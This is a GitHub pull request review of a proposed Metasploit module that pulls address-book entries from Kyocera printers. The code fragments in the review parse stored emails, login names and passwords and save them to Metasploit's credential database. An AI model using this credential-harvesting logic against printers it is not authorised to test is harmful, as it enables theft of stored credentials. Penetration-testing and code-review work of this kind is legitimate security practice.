Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Kyocera module #19520

Open
wants to merge 4 commits into
base: master
Choose a base branch
from
Open

Kyocera module #19520

wants to merge 4 commits into from

Conversation

ajm4n
Copy link

@ajm4n ajm4n commented Sep 30, 2024

Added unique branch, added Kyocera module with documentation, ran msftidy and rubocop

@smcintyre-r7 smcintyre-r7 self-assigned this Sep 30, 2024
@smcintyre-r7 smcintyre-r7 added module docs rn-modules release notes for new or majorly enhanced modules labels Sep 30, 2024
@smcintyre-r7
Copy link
Contributor

Is this ready for review and testing or is it a WIP? I don't have a test server handy to verify my suspicion but I don't see where the address book information is extracted and either saved to disk, the database or printed for the user to see. L79 makes it seem like this might be a work in progress and if that's the case we can switch it to a draft while you work on it and ask any questions about things you need help with.

Thanks for the PR!

@ajm4n
Copy link
Author

ajm4n commented Sep 30, 2024 via email

end

def extract_enum_id(body)
xml_doc = Nokogiri::XML(body)
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
xml_doc = Nokogiri::XML(body)
xml_doc = res.get_xml_document

end
end

def extract_enum_id(body)
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
def extract_enum_id(body)
def extract_enum_id(res)


if res.code == 200
print_good("Enumeration creation successful on #{ip}")
enum_id = extract_enum_id(res.body)
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
enum_id = extract_enum_id(res.body)
enum_id = extract_enum_id(res)

'data' => create_enum_body
})

if res && res.code == 200
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
if res && res.code == 200
if res&.code == 200

Comment on lines +93 to +97
if res && res.code == 200
parse_response(res.body)
else
print_error("Failed to retrieve address book information from #{ip}")
end
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
if res && res.code == 200
parse_response(res.body)
else
print_error("Failed to retrieve address book information from #{ip}")
end
if res&.code != 200
print_error("Failed to retrieve address book information from #{ip}")
return
end
parse_response(res.body)

print_good("Enumeration creation successful on #{ip}")
enum_id = extract_enum_id(res.body)

if enum_id
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

You might want to invert this condition to reduce the nested indentations level.

Comment on lines +116 to +148
if addresses.empty?
print_error("No address book entries found.")
else
addresses.each do |address|
email = address&.text # using `kmaddrbook:address` for email
login_name = address.at_xpath('kmaddrbook:login_name')&.text
login_password = address.at_xpath('kmaddrbook:login_password')&.text
name = address.at_xpath('kmaddrbook:name_information')&.text

# Only print relevant information: email, login name, and password
print_good("Email: #{email}") if email
print_good("Name: #{name}") if name
print_good("Username: #{login_name}") if login_name
print_good("Password: #{login_password}") if login_password

# Store credentials in Metasploit's credential database if login credentials are found
if login_name && login_password
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: login_name,
private_data: login_password,
private_type: :password,
address: rhost,
port: rport,
service_name: 'http',
protocol: 'tcp'
}

create_credential(credential_data)
end
end
end
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
if addresses.empty?
print_error("No address book entries found.")
else
addresses.each do |address|
email = address&.text # using `kmaddrbook:address` for email
login_name = address.at_xpath('kmaddrbook:login_name')&.text
login_password = address.at_xpath('kmaddrbook:login_password')&.text
name = address.at_xpath('kmaddrbook:name_information')&.text
# Only print relevant information: email, login name, and password
print_good("Email: #{email}") if email
print_good("Name: #{name}") if name
print_good("Username: #{login_name}") if login_name
print_good("Password: #{login_password}") if login_password
# Store credentials in Metasploit's credential database if login credentials are found
if login_name && login_password
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: login_name,
private_data: login_password,
private_type: :password,
address: rhost,
port: rport,
service_name: 'http',
protocol: 'tcp'
}
create_credential(credential_data)
end
end
end
if addresses.empty?
print_error("No address book entries found.")
return
end
addresses.each do |address|
email = address&.text # using `kmaddrbook:address` for email
login_name = address.at_xpath('kmaddrbook:login_name')&.text
login_password = address.at_xpath('kmaddrbook:login_password')&.text
name = address.at_xpath('kmaddrbook:name_information')&.text
# Only print relevant information: email, login name, and password
vprint_good("Email: #{email}") if email
vprint_good("Name: #{name}") if name
vprint_good("Username: #{login_name}") if login_name
vprint_good("Password: #{login_password}") if login_password
if login_name && login_password
create_credential({
origin_type: :service,
module_fullname: fullname,
username: login_name,
private_data: login_password,
private_type: :password,
address: rhost,
port: rport,
service_name: 'http',
protocol: 'tcp'
})
end
end

@@ -0,0 +1,27 @@
## Vulnerable Application
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

It might be a good idea to refer to some off our other module docs and add console outputs snippets and so on.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
docs module rn-modules release notes for new or majorly enhanced modules
Projects
None yet
Development

Successfully merging this pull request may close these issues.

5 participants